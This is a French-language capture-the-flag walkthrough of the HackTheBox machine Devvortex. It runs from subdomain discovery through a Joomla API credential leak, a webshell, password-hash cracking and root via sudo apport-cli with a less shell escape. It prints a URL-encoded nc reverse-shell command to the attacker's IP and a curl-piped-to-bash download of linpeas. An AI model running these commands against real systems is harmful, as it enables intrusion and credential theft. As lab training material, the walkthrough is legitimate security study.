HackTheBox Walkthrough - Devvortex

  • Machine ciblée : Devvortex.

  • Répertoire : /home/kali/Devvortex

  • Temps passé dessus : 2h30.

Changelog du template

  • Version 1.0 - Sep. 2022 : création du template de base

  • Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base

  • Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe

  • Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit

  • Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.

  • Version 1.5 - Nov. 2023 : Déplacement des fichiers dans un dossiers « machines » pour pas pourrir mon /home.

  • Pour la version 1.6 : Gérer le montage de VPN. [if Tun0 existe and IP ~=~ 10.0.0.X] Rien, sinon lancer le vpn.

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="Devvortex"
repository="/home/kali/machines/$name"
ip="10.129.170.130"
domain='htb'
cd $repository 2&>/dev/null || mkdir -p $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts  >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts

nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap  -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap  -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable
Nmap scan report for Devvortex (10.129.170.130)
Host is up (0.067s latency).
Not shown: 976 closed tcp ports (conn-refused)
PORT      STATE    SERVICE           VERSION
22/tcp    open     ssh               OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open     http              nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.ht b/
|_http-server-header: nginx/1.18.0 (Ubuntu)

Sans trop de surprise sur une Linux, c’est un serveur web. Allons voir.

Phase 2 : Analyse

On lance la phase habituelle de reconnaissance à coup de gobuster puis l’on va regarder plus en détail le site.

┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name --exclude-length 15

Bon, en regardant 2 minute le site, on voit qu’il y a juste une page index, donc fort à parier que gobuster va rien sortir. J’ai lancé également wfuzz sur les hôtes, ça match.

┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host:FUZZ.$name.$domain" --hl 7 http://$name.$domain
Target: http://Devvortex.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000019:   200        501 L    1581 W     23221 Ch    "dev"
┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ cat /etc/hosts | head -n -1 | sudo tee /etc/hosts

┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ echo "$ip $name $name.$domain dev.$name.$domain" | sudo tee -a /etc/hosts 
10.129.170.130 Devvortex Devvortex.htb dev.Devvortex.htb

Ouais, ils soulent à toujours faire changer le hosts trois fois … Mais bon, on va voir le site en dev ! On relance un gobuster, miracle on a plus de chose :

┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dev.$name.$domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.Devvortex.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/images/]
/home                 (Status: 200) [Size: 23221]
/templates            (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/templates/]
/media                (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/media/]
/modules              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/modules/]
/plugins              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/plugins/]

Bon, le gobuster renvoie énormément de faux positif, le mec a été un peu piegeur. Mais quand l’on regarde le site web, on voit que les photos sont stockés sous http://dev.devvortex.htb/media/templates/site/cassiopeia/assets/img/about.jpg. Recherche google sur cassiopeia, il s’agit d’un temmlate pour joomla. Cette piste est confirmée un peu plus tard avec l’apparition d’un /administrator sur le gobuster qui nous emmène vers la page d’administration du joomla.
La page d'administration du joomla En cherchant un peu sur internet, on tombe sur une CVE sur l’API. On va voir si ça fonctionne … Demain car il est déjà minuit. Bon, ou pas, j’ai vu que l’exploit se faisait à coup de metasploit, j’ai voulu tenter :

msf6 > use auxiliary/scanner/http/joomla_api_improper_access_checks
msf6 auxiliary(scanner/http/joomla_api_improper_access_checks) > set RHOSTS dev.devvortex.htb
RHOSTS => dev.devvortex.htb
msf6 auxiliary(scanner/http/joomla_api_improper_access_checks) > run

[+] Users JSON saved to /home/kali/.msf4/loot/20231128000231_default_10.129.170.130_joomla.users_338358.bin
[+] Joomla Users
============

 ID   Super User  Name        Username  Email              Send Email  Register Date   Last Visit Dat  Group Names
e
 --   ----------  ----        --------  -----              ----------  -------------   --------------  -----------
 649  *           lewis       lewis     lewis@devvortex.h  1           2023-09-25 16:  2023-10-29 16:  Super Users
                                        tb                             44:24           18:50
 650              logan paul  logan     logan@devvortex.h  0           2023-09-26 19:                  Registered
                                        tb                             15:42

[+] Config JSON saved to /home/kali/.msf4/loot/20231128000232_default_10.129.170.130_joomla.config_809537.bin
[+] Joomla Config
=============

 Setting        Value
 -------        -----
 db encryption  0
 db host        localhost
 db name        joomla
 db password    P4ntherg0t1n5r3c0n##
 db prefix      sd4fg_
 db user        lewis
 dbtype         mysqli

Ok, il est minuit trois, je crois que j’ai un compte. Faudrait que je me penche plus en détail sur cette cve quand même parce que là, j’ai de quoi faire palir les scripts kiddies …

┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ ssh lewis@$ip
2023-11-28 00:04:30 read UDPv4 [EMSGSIZE Path-MTU=1416]: Message too long (fd=3,code=90)
The authenticity of host '10.129.170.130 (10.129.170.130)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.170.130' (ED25519) to the list of known hosts.
lewis@10.129.170.130's password: 

Mince, pas aussi simple. Et sur l’interface d’admin ?
L'interface du joomla authentifié
Pas mal ça, trouvons rapidement la suite puis dodo. Pour rappel, le compte est lewis et le mot de passe P4ntherg0t1n5r3c0n##. Qui paris qu’il y a des informations en trop sur le compte de logan ?
Dommage, ça n’a pas l’air d’être ça.
Par contre, comme on est administrateur, on peut faire un peu ce que l’on veut sur le serveur, et cela inclus (entre autre), de se créer un webshell. Pour ça petite recherche google; et on trouve un plugin plutôt sympa. On suit la procédure pour l’installer … Et nous voilà avec nos reverse shell :

┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ while true ; do rlwrap -car nc -lvnp 3333 ;done
listening on [any] 3333 ...

┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ curl "http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%2010.10.15.186%203333%20%3E%2Ftmp%2Ff"
connect to [10.10.15.186] from (UNKNOWN) [10.129.170.130] 57322
bash: cannot set terminal process group (826): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:/$ 

Phase 3 : User

Petite info assez sympa : l’ensemble des liens intéressants se trouvait aussi dans le fichier robots.txt !

www-data@devvortex:~/dev.devvortex.htb$ cat robots.txt
cat robots.txt

User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

J’ai bugé quelques temps pour savoir comment obtenir l’utilisateurs et j’ai cherché sur le forum, la plupart disent que c’est simple, un d’entre eux parle de bruteforce de mot de passe mais sans explications, j’ai du réfléchir puis j’en suis venu à la conclusion suivante :

Si lewis a été assez c*n pour réutiliser son mot de passe sur la database et sur la page d’admin du joomla, alors logan a pu faire la même chose entre le serveur et le joomla.

On test de récupérer le creds de logan dans la base de donnée MySQL :

www-data@devvortex:~$ mysql -u lewis -pP4ntherg0t1n5r3c0n## --execute="USE joomla;select username,email,password from sd4fg_users;"
<a;select username,email,password from sd4fg_users;"
mysql: [Warning] Using a password on the command line interface can be insecure.
username        email   password
lewis   lewis@devvortex.htb     $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
logan   logan@devvortex.htb     $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ hashcat ./hash 
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-AMD Ryzen 7 5700U with Radeon Graphics, 1435/2934 MB (512 MB allocatable), 4MCU

The following 4 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-Commerce
  25800 | bcrypt(sha1($pass)) / bcryptsha1                           | Forums, CMS, E-Commerce
  28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-Commerce

Please specify the hash-mode with -m [hash-mode].

Started: Tue Nov 28 20:14:57 2023
Stopped: Tue Nov 28 20:15:01 2023

┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ hashcat ./hash -m 3200 /usr/share/wordlists/rockyou.txt.gz 
$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12:tequieromucho

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy...tkIj12
Time.Started.....: Tue Nov 28 20:19:11 2023 (19 secs)
Time.Estimated...: Tue Nov 28 20:19:30 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       77 H/s (6.33ms) @ Accel:4 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1408/14344385 (0.01%)
Rejected.........: 0/1408 (0.00%)
Restore.Point....: 1392/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-1024
Candidate.Engine.: Device Generator
Candidates.#1....: moises -> tagged
Hardware.Mon.#1..: Util: 96%

Started: Tue Nov 28 20:19:05 2023
Stopped: Tue Nov 28 20:19:31 2023

En vrai, j’ai commencé par un SHOW DATABASES pui SHOW TABLES avant un select * puis j’ai filtré. Après quelques seconds de hashcat, on trouve le mot de passe (ou plutôt el modo dé passo ?) de logan :
tequieromucho

┌──(kali㉿kali)-[~/machines/Devvortex]
└─$ ssh logan@$ip
logan@10.129.170.130's password: 
Last login: Tue Nov 21 10:53:48 2023 from 10.10.14.23
logan@devvortex:~
logan@devvortex:~$ cat ./user.txt 
2505109b8a17a5689272fb1fea94edb9

On est parti pour la seconde partie, la PE !

Phase 4 : Élévation de privilège

Bon, on commence comme toujours là aussi par un classique linpeas. Et comme on se connecte avec un compte, on va vérifier en même temps ce qu’on peut faire avec sudo.

┌──(kali㉿kali)-[~/Tools]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
logan@devvortex:~$ curl http://10.10.15.186:8000/linpeas.sh | bash

logan@devvortex:~$ sudo -l
Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

Le linpeas sort rien de bien folichon, par contre, le sudo lui nous intéresse. Recherche google, on trouve que apport-cli est vulnérable.. Comment ça fonctionne ?

En faite, c’est assez basique, apport-cli permet de remonter des informations aux développeurs d’une application. Pour ça, il a besoin d’un fichier où envoyer les informations (ex : xxx.crash) et d’un programme qui aurait bugé (c’est là dessus que j’ai eu du mal). Une fois que l’on a dit à apport-cli que le programme a bugé, il se lance dans un mode interactif qui nous permet de voir le rapport … Avec less. Petit tour sur GTFOBins, on voit que less peut exécuter des commandes et va donc nous permetre de devenir root.

logan@devvortex:~$ touch xxx.crash
logan@devvortex:~$ sudo apport-cli -c xxx.crash less

*** Collecting problem information

The collected information can be sent to the developers to improve the
application. This might take a few minutes.
..............

*** Send problem report to the developers?

After the problem report has been sent, please fill out the form in the
automatically opened web browser.

What would you like to do? Your options are:
  S: Send report (1.7 KB)
  V: View reportlogan@devvortex:~$ cat ./user.txt 
2505109b8a17a5689272fb1fea94edb9

  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C): V
## Sur less : !/bin/bash
root@devvortex:/home/logan# cat ~/root.txt 
3222a55cae20f88bb471cae44c90b854

Tadam

Récapitulatif

La machine est plutôt sympa, elle fait très réelle ! On commence par une page web, où l’on ne peut rien faire, on trouve un autre vhost, qui lui est un joomla. La faille sur joomla, je l’ai pas regardée. Mais en gros, le concept c’est que l’API est mal sécurisée et donc que l’on récupère des informations sensibles depuis celle là (le mot de passe de jonction à la base de donnée). Manque de pot, ce mot de passe est aussi celui de l’administrateur lewis. Une fois sur le serveur, on peut s’envoyer un webshell et ainsi récupérer les mots de passes présents dans la base de donnée du SQL. On crack le mot de passe (c’est la première fois que j’ai à faire ça et où je trouve ça bien fait !), ça nous donne notre compte. On trouve rapidement le binaire que l’on peut exécuter en tant que root, et on le défonce facilement.

A retenir

Il faut toujours faire attention à son implémentation des PAGER comme less. J’ai appris qu’il existe un lessecure (rigolo, on dirait qu’il est moins sécurisé), et qui ne permet pas les commandes de ce type. C’est plus intéressant.